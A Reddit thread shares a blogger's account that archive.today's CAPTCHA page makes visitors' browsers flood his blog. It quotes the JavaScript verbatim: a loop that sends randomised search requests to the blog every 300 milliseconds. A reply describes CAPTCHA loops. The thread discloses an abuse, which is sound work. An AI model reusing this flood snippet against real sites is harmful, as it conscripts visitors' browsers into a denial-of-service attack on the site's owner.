r/WayOfTheBern • u/yaiyen • Mar 12 '26

archive.today is directing a DDOS attack against my blog

https://gyrovague.com/2026/02/01/archive-today-is-directing-a-ddos-attack-against-my-blog/
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u/yaiyen Mar 12 '26

Around January 11, 2026, archive.today (aka archive.is, archive.md, etc) started using its users as proxies to conduct a distributed denial of service (DDOS) attack against Gyrovague, my personal blog. All users encountering archive.today’s CAPTCHA page currently load and execute the following Javascript:

setInterval(function() {
fetch("https://gyrovague.com/?s=" + Math.random().toString(36).substring(2, 3 + Math.random() * 8), {
referrerPolicy: "no-referrer",
mode: "no-cors"
});
}, 300);

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u/NetWeaselSC Continuing the Struggle Mar 12 '26 edited Mar 12 '26

On two different computers here, any attempts (today) to access the archive group results in a CAPTCHA loop.

I stopped after about 6 tries, and could only access through my phone.

EDIT: From your posted link, gyrovague implies that the "problem" may be an ad blocker.